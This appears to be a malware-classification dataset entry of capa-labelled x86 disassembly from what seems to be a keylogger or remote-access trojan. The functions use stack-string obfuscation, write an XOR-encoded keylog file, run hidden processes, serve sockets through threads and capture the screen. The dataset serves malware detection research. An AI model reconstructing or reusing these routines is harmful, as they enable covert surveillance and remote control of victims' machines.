joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100039d8
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x794
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.lstrlenA
mov dword [ebp - 0x30], ecx
push str.KERNEL32.dll
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov esi, str.kernel32.dll
push str.GetDiskFreeSpaceExA
push esi
mov dword [ebp - 0x24], eax
call ebx
push eax
call edi
push str.GetVolumeInformationA
push esi
mov dword [ebp - 0x28], eax
call ebx
push eax
call edi
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x234]
push eax
push pe_nt_image_headers32
mov byte [ebp - 0x634], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea esi, [ebp - 0x234]
nop
nop
nop
sub eax, 0
add eax, 0
nop
nop
nop
xor eax, eax
push 1
cmp byte [ebp - 0x234], al
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
pop edi
je 0x10003bca
push str.lstrlenA
push str.KERNEL32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push 0x104
lea eax, [ebp - 0x134]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x134]
push 0x104
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push esi
call dword [ebp - 0x2c]
push 0x410
lea eax, [ebp - 0x794]
push 0x160
push eax
push 0x80
push esi
call dword [0x10019b10]
lea eax, [ebp - 0x684]
push eax
call dword [ebp - 0xc]
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x134]
push eax
call dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
mov al, byte [esi]
cmp al, 0x41
je 0x10003b30
cmp al, 0x42
je 0x10003b30
lea eax, [ebp - 0x20]
push 0
push eax
lea eax, [ebp - 0x18]
push eax
push esi
call dword [ebp - 0x28]
test eax, eax
je 0x10003b30
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
push 0x14
pop ecx
call fcn.10011d80
mov edx, dword [ebp - 0x14]
push 0x14
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x18]
pop ecx
call fcn.10011d80
mov dword [ebp - 4], eax
jmp 0x10003b38
and dword [ebp - 8], 0
and dword [ebp - 4], 0
mov al, byte [esi]
push esi
mov byte [ebp + edi - 0x634], al
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [ebp + edi - 0x633], al
lea eax, [ebp - 8]
push 4
push eax
lea eax, [ebp + edi - 0x632]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 4]
push 4
push eax
lea eax, [ebp + edi - 0x62e]
push eax
call sub.MSVCRT.dll_memcpy
push dword [ebp - 0x10]
lea eax, [ebp - 0x684]
push eax
lea eax, [ebp + edi - 0x62a]
push eax
call sub.MSVCRT.dll_memcpy
push dword [ebp - 0xc]
lea eax, [ebp - 0x134]
push eax
mov eax, dword [ebp - 0x10]
add eax, edi
lea eax, [ebp + eax - 0x62a]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
add esp, 0x30
add eax, ecx
push esi
lea edi, [edi + eax + 0xa]
call dword [ebp - 0x24]
cmp byte [esi + eax + 1], 0
lea esi, [esi + eax + 1]
jne 0x10003a74
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 0x634]
push edi
push eax
call fcn.100076a0
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003e67
Capabilities:
Contain obfuscated stackstrings
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.FindNextFileA
mov dword [ebp - 0x2c], ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
and byte [ebp - 8], 0
and byte [ebp - 0x16], 0
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 0x14], 0x6b
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
mov byte [ebp - 0x24], 0x46
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x46
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x73
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1b], 0x46
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x6c
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x41
call esi
push eax
call edi
mov dword [ebp - 4], eax
nop
nop
nop
sub eax, 0
add eax, 0
nop
nop
nop
push dword [ebp + 8]
mov ebx, dword [0x10019bdc]
lea eax, [ebp - 0x270]
push str._s.
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x270]
push eax
call dword [ebp - 4]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x10003f5a
xor al, al
jmp 0x10003fe4
cmp byte [ebp - 0x140], 0x2e
je 0x10003fb1
test byte [ebp - 0x16c], 0x10
lea eax, [ebp - 0x140]
push eax
push dword [ebp + 8]
push 0x10017160
je 0x10003f98
lea eax, [ebp - 0x478]
push eax
call ebx
mov ecx, dword [ebp - 0x2c]
add esp, 0x10
lea eax, [ebp - 0x478]
push eax
call fcn.10003e67
jmp 0x10003fb1
lea eax, [ebp - 0x374]
push eax
call ebx
add esp, 0x10
lea eax, [ebp - 0x374]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x16c]
push eax
push dword [ebp - 4]
call dword [ebp - 0x28]
test eax, eax
jne 0x10003f5a
push str.FindClose
push str.KERNEL32.dll
call esi
push eax
call edi
push dword [ebp - 4]
call eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x100041c3
Capabilities:
Contain obfuscated stackstrings
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
and byte [ebp - 8], 0
push ebx
push esi
push edi
mov byte [ebp - 0x14], 0x6b
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x33
mov byte [ebp - 0xd], 0x32
mov byte [ebp - 0xc], 0x2e
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x6c
nop
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x14]
push str.GetModuleFileNameA
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
nop
nop
nop
xor ebx, ebx
mov dword [ebp - 4], ebx
nop
lea ecx, [ebp - 0x11c]
push 0x104
push ecx
push dword [ebp + 8]
call eax
nop
nop
nop
push ebx
push ebx
push 3
push ebx
push 1
lea eax, [ebp - 0x11c]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x10004260
xor eax, eax
jmp 0x100042d8
mov ebx, str.KERNEL32.dll
push str.CloseHandle
push ebx
call esi
push eax
call edi
push str.SetFilePointer
push ebx
mov dword [ebp - 0x18], eax
call esi
push eax
call edi
xor ebx, ebx
push 2
push ebx
push 0xfffffc00
push dword [ebp + 8]
call eax
mov esi, 0x400
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov edi, eax
lea eax, [ebp - 4]
push ebx
push eax
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 8]
call dword [ebp - 0x18]
nop
nop
nop
sub eax, 0
add eax, 0
push ebx
push esi
push dword [ebp + 0xc]
push edi
call fcn.10004174
add esp, 0x10
cmp eax, 0xffffffff
jne 0x100042d6
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
jmp 0x1000425c
add eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000470a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.CreateProcessA
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push dword [ebp + 8]
mov dword [ebp - 0x1c], eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x1000487d
push str.DNAMMOCNEPOLLEHSEXE.EROLPXEISNOITACILPPa
call dword [sym.imp.MSVCRT.dll__strrev]
mov dword [ebp - 0x14], eax
mov eax, 0x104
mov dword [ebp - 0x20], eax
push eax
xor ebx, ebx
lea eax, [ebp - 0x178]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 0x18]
push eax
push 0xf003f
push ebx
push dword [ebp - 0x14]
push 0x80000000
call dword [0x10019a20]
test eax, eax
jne 0x1000487d
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x178]
push eax
push ebx
push dword [ebp - 0x18]
call dword [0x10019a1c]
push dword [ebp - 0x18]
call dword [0x10019a18]
mov ebx, str.KERNEL32.dll
push str.lstrlenA
push ebx
call esi
push eax
call edi
lea ecx, [ebp - 0x178]
push ecx
call eax
test eax, eax
je 0x1000487d
lea eax, [ebp - 0x178]
push 0x10017224
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
mov dword [ebp - 0x14], eax
test eax, eax
pop ecx
je 0x1000487d
push str.lstrcpyA
push ebx
call esi
push eax
call edi
push dword [ebp + 8]
push dword [ebp - 0x14]
call eax
push 0x10
xor eax, eax
and byte [ebp - 1], al
pop ecx
lea edi, [ebp - 0x70]
xor esi, esi
cmp dword [ebp + 0xc], esi
mov byte [ebp - 0x10], 0x74
rep stosd dword es:[edi], eax
mov dword [ebp - 0x74], 0x44
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x75
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xc], 0x66
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x64
mov byte [ebp - 9], 0x5c
mov byte [ebp - 8], 0x30
mov byte [ebp - 7], 0x61
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], 0x6e
mov byte [ebp - 3], 0x69
mov byte [ebp - 2], 0x77
je 0x10004864
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.MSVCRT.dll__strrev]
pop ecx
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x74]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x178]
push esi
push eax
push esi
call dword [ebp - 0x1c]
pop edi
pop esi
xor al, al
pop ebx
leave
ret
Function at 0x10005b9d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ac
push esi
lea eax, [ebp - 0x1ac]
push edi
push eax
push 0x202
call dword [0x10019c54]
test eax, eax
je 0x10005bc4
xor eax, eax
pop edi
pop esi
leave
ret
push 6
push 1
push 2
call dword [0x10019c2c]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 8], esi
je 0x10005bbe
xor eax, eax
lea edi, [ebp - 0x16]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ax, word [0x10019f98]
mov word [ebp - 0x18], 2
push eax
call dword [0x10019c34]
and dword [ebp - 0x14], 0
mov word [ebp - 0x16], ax
lea eax, [ebp - 0x18]
push 0x10
push eax
push esi
call dword [0x10019c10]
cmp eax, 0xffffffff
je 0x10005bbe
push ebx
push 0x32
push esi
call dword [0x10019f90]
cmp eax, 0xffffffff
jne 0x10005c25
xor eax, eax
pop ebx
jmp 0x10005bc0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, str.KERNEL32.dll
push 0
push 0
push dword [ebp - 8]
call dword [0x10019f9c]
push 8
mov dword [ebp - 4], eax
call dword [sym.imp.MSVCRT.dll_malloc]
test eax, eax
pop ecx
je 0x10005c36
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
lea ecx, [ebp - 0x1c]
push ecx
xor ecx, ecx
push ecx
push eax
push 0x10005817
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
mov dword [ebp - 4], eax
jne 0x10005c88
push str.Sleep
push ebx
call edi
push eax
call esi
push 0x3e8
call eax
jmp 0x10005c36
push str.CloseHandle
push ebx
call edi
push eax
call esi
push dword [ebp - 4]
jmp 0x10005c84
Function at 0x1000667b
Capabilities:
Create thread

Disassembly:
mov eax, 0x10012e33
call fcn.10011cd0
mov eax, 0x103c
call fcn.10011d30
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.KERNEL32.dll
push str.CloseHandle
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
or dword [ebp - 0x101c], 0xffffffff
mov dword [ebp - 0x14], eax
push 0x1030
lea eax, [ebp - 0x1048]
push 0
push eax
mov dword [ebp - 0x1048], 0x10013240
call sub.MSVCRT.dll_memset
push dword [ebp + 0x10]
and dword [ebp - 4], 0
lea eax, [ebp - 0x1044]
push 0x100171e8
push 0x20
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
push dword [ebp + 0xc]
mov ax, word [ebp + 0x14]
mov word [ebp - 0x1024], ax
push dword [ebp + 8]
call fcn.100065c8
add esp, 0x24
mov dword [ebp + 0x14], eax
test eax, eax
jbe 0x100067a4
mov dword [ebp - 0x1020], eax
push str.Sleep
push ebx
call esi
push eax
call edi
push str.CreateThread
push ebx
mov dword [ebp + 0x10], eax
call esi
push eax
call edi
push 0
lea eax, [ebp - 0xe]
push 2
push eax
push dword [ebp + 0x14]
call dword [0x10019c24]
test eax, eax
jle 0x100067a4
inc dword [0x1001a028]
cmp dword [ebp - 0x101c], 0x800
jge 0x10006772
inc dword [ebp - 0x101c]
mov ecx, dword [ebp - 0x101c]
mov ax, word [ebp - 0xe]
mov word [ebp + ecx*2 - 0x1018], ax
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x1048]
push eax
xor eax, eax
push eax
push ecx
push 0x10006601
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10006797
push eax
call dword [ebp - 0x14]
jmp 0x1000671a
push 0x3e8
call dword [ebp + 0x10]
jmp 0x1000671a
push dword [ebp + 0x14]
call dword [0x10019c60]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x10006930
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push str.GetSystemDirectoryA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x10c]
push 0x104
push ecx
call eax
lea eax, [ebp - 0x10c]
push str.keylog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor esi, esi
lea eax, [ebp - 0x10c]
push esi
push 0x80
push 4
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x100069b4
push 2
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
test edi, edi
pop ecx
mov ebx, eax
jle 0x100069df
mov ecx, dword [ebp + 8]
sub ecx, ebx
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec edi
jne 0x100069d3
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 8]
call esi
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006e50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
nop
nop
nop
sub eax, 0
add eax, 0
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, str.KERNEL32.dll
push str.Process32First
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CreateToolhelp32Snapshot
push ebx
mov dword [ebp - 0xc], eax
call esi
push eax
call edi
push 0
push 2
call eax
push 0x128
mov dword [ebp - 4], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 8], eax
push eax
mov dword [eax], 0x128
push dword [ebp - 4]
call dword [ebp - 0xc]
test eax, eax
je 0x10006f64
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x10006f64
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__strupr]
pop ecx
push eax
mov eax, dword [ebp - 8]
add eax, 0x24
push eax
call dword [sym.imp.MSVCRT.dll__strupr]
pop ecx
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
ja 0x10006f5f
and byte [ebp - 0xf], 0
lea eax, [ebp - 0x1c]
push eax
push ebx
mov byte [ebp - 0x1c], 0x50
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x63
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x73
mov byte [ebp - 0x15], 0x33
mov byte [ebp - 0x14], 0x32
mov byte [ebp - 0x13], 0x4e
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x78
mov byte [ebp - 0x10], 0x74
call esi
push eax
call edi
mov edi, dword [ebp - 8]
mov ebx, eax
push edi
push dword [ebp - 4]
call ebx
test eax, eax
je 0x10006f64
push dword [ebp + 8]
mov esi, dword [sym.imp.MSVCRT.dll__strupr]
call esi
pop ecx
push eax
lea eax, [edi + 0x24]
push eax
call esi
pop ecx
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
test eax, eax
pop ecx
jbe 0x10006f34
push 1
pop eax
jmp 0x10006f66
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000701a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
push esi
push str.CreateProcessA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x2f
xor ebx, ebx
push dword [ebp + 8]
mov dword [ebp - 4], eax
mov byte [ebp - 0x14], 0x77
mov byte [ebp - 0x13], 0x49
mov byte [ebp - 0x12], 0x4e
mov byte [ebp - 0x11], 0x53
mov byte [ebp - 0x10], 0x54
mov byte [ebp - 0xf], 0x41
mov byte [ebp - 0xe], 0x30
mov byte [ebp - 0xd], 0x5c
mov byte [ebp - 0xc], 0x64
mov byte [ebp - 0xb], 0x45
mov byte [ebp - 0xa], 0x46
mov byte [ebp - 9], 0x41
mov byte [ebp - 8], 0x55
mov byte [ebp - 7], 0x4c
mov byte [ebp - 6], 0x54
mov byte [ebp - 5], bl
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
pop ecx
inc esi
pop ecx
je 0x1000709e
push esi
push dword [ebp + 8]
call fcn.1000b65c
pop ecx
test al, al
pop ecx
jne 0x100070a2
xor al, al
jmp 0x100070d8
push edi
push 0x10
pop ecx
xor eax, eax
lea edi, [ebp - 0x64]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x68], 0x44
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x10019f78
push esi
call dword [ebp - 4]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
pop ebx
leave
ret

Function at 0x100075db
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push str.GetSystemDirectoryA
mov dword [ebp - 0xc], ecx
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x110]
xor ebx, ebx
push 0x104
push ecx
mov dword [ebp - 8], ebx
call eax
lea eax, [ebp - 0x110]
push str.keylog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x110]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x10007692
push esi
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x1000767d
xor byte [eax + esi], 0x62
inc eax
cmp eax, edi
jb 0x10007674
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.10007591
push esi
mov ebx, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
leave
ret
Function at 0x100089ce
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x10012f22
call fcn.10011cd0
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
lea ecx, [esi + 0x88]
call fcn.10007f21
mov edx, dword [ebp + 8]
xor edi, edi
mov eax, edx
mov dword [ebp - 4], edi
dec eax
mov dword [esi], 0x10013278
je 0x10008a1a
sub eax, 3
je 0x10008a1a
sub eax, 4
je 0x10008a1a
push 8
pop ecx
sub eax, ecx
je 0x10008a1a
sub eax, 0x10
je 0x10008a1a
mov dword [esi + 0x70], ecx
jmp 0x10008a1d
mov dword [esi + 0x70], edx
mov ecx, esi
call fcn.100088a3
test al, al
jne 0x10008a3e
call dword [0x10019b70]
push eax
mov dword [esi + 0x10c], eax
call dword [0x10019b74]
mov dword [esi + 0x44], eax
mov dword [esi + 0x10], 0xcc0020
mov byte [esi + 4], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp + 0x10]
mov dword [esi + 0x14], eax
mov eax, 0x3e8
xor edx, edx
div ecx
mov ebx, dword [0x10019b90]
push edi
mov dword [esi + 8], ecx
mov dword [esi + 0x18], eax
mov al, byte [ebp + 0xc]
mov byte [esi + 0xc], al
call ebx
push 1
mov dword [esi + 0x28], eax
call ebx
push 0x20
mov dword [esi + 0x2c], eax
pop eax
mov ebx, dword [0x10019ae8]
cdq
idiv dword [esi + 0x70]
push dword [esi + 0x44]
mov dword [esi + 0x30], edi
mov byte [esi + 0x24], al
call ebx
push dword [esi + 0x44]
mov dword [esi + 0x4c], eax
call ebx
push edi
mov dword [esi + 0x80], eax
call ebx
push edi
mov dword [esi + 0x48], eax
call ebx
push 1
lea ebx, [esi + 0x5c]
push dword [esi + 0x28]
mov ecx, esi
mov dword [esi + 0x50], eax
mov dword [ebx], edi
push dword [esi + 0x70]
mov dword [esi + 0x60], edi
call fcn.10008640
push dword [esi + 0x2c]
mov ecx, esi
mov dword [esi + 0x64], eax
push dword [esi + 0x28]
push dword [esi + 0x70]
call fcn.10008640
push 1
mov ecx, esi
push dword [esi + 0x28]
mov dword [esi + 0x68], eax
push dword [esi + 0x70]
call fcn.10008640
push edi
push edi
push ebx
mov ebx, dword [0x10019ae4]
push edi
mov dword [esi + 0x6c], eax
push dword [esi + 0x64]
push dword [esi + 0x44]
call ebx
mov dword [esi + 0x54], eax
push edi
lea eax, [esi + 0x60]
push edi
push eax
push edi
push dword [esi + 0x68]
push dword [esi + 0x44]
call ebx
mov dword [esi + 0x58], eax
push edi
lea eax, [esi + 0x78]
push edi
push eax
push edi
push dword [esi + 0x68]
push dword [esi + 0x44]
call ebx
push dword [esi + 0x58]
mov ebx, dword [0x10019ae0]
mov dword [esi + 0x84], eax
push dword [esi + 0x4c]
call ebx
push dword [esi + 0x54]
push dword [esi + 0x48]
call ebx
push dword [esi + 0x84]
push dword [esi + 0x80]
call ebx
push dword [esi + 0x2c]
lea eax, [esi + 0x34]
push dword [esi + 0x28]
push edi
push edi
push eax
call dword [0x10019b6c]
mov eax, dword [esi + 0x68]
mov eax, dword [eax + 0x14]
shl eax, 1
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0x68]
xor edx, edx
pop ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xc]
div dword [esi + 0x2c]
mov dword [esi + 0x20], edi
pop edi
mov dword [esi + 0x74], eax
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0xc